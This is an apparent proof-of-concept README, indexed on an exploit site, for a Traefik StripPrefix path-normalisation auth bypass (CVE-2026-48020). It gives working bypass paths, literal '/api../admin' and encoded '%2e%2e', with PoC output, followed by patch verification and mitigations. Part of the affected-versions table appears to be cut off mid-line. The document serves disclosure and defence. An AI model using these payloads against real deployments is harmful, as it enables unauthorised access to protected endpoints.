## https://sploitus.com/exploit?id=7F7749F6-023B-5070-9A69-60448F7E541E
# CVE-2026-48020 โ Traefik StripPrefix Route-Level Auth Bypass (PoC)
A self-contained proof of concept for **CVE-2026-48020**, a route-level
authentication/authorization bypass in Traefik's `StripPrefix` middleware
caused by path normalisation happening **after** routing decisions are made.
A request such as `GET /api../admin` is routed through a *public*
`PathPrefix(\`/api\`)` router at routing time (so the protected router's
`basicAuth` middleware is never attached), but after `StripPrefix` strips
`/api` and Go's `req.URL.JoinPath()` normalises the remaining `/../admin`,
the backend receives `/admin` โ a path that was supposed to be guarded.
| | |
|---|---|
| **CVE** | CVE-2026-48020 |
| **GHSA** | GHSA-xf64-8mw2-4gr2 |
| **CVSS 3.1 (NVD)** | **10.0 Critical** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`) |
| **Affected** | Traefik ` status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED โ protected paths reached without credentials via StripPrefix path normalisation.
```
### On a patched Traefik (`v3.7.3`)
The bypass payloads return **404** instead of 200. The patch (Traefik PR
[#13215](https://github.com/traefik/traefik/pull/13215)) rejects any request
whose path differs after `StripPrefix`/`StripPrefixRegex` normalisation, so
the `/../admin` rewrite is detected and refused.
## Verify the fix
```bash
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
```
## Mitigations (without upgrading)
Prevent the public route from matching the traversal form at all:
```yaml
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
```
## Disclosure
Reported to the Traefik maintainers by **WonYun / kyun0** (GitHub: H4ck2);
fixed in [GHSA-xf64-8mw2-4gr2](https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2).
This PoC lab is an independent reproduction built for the accompanying
article on [hunt-benito.com](https://www.hunt-benito.com).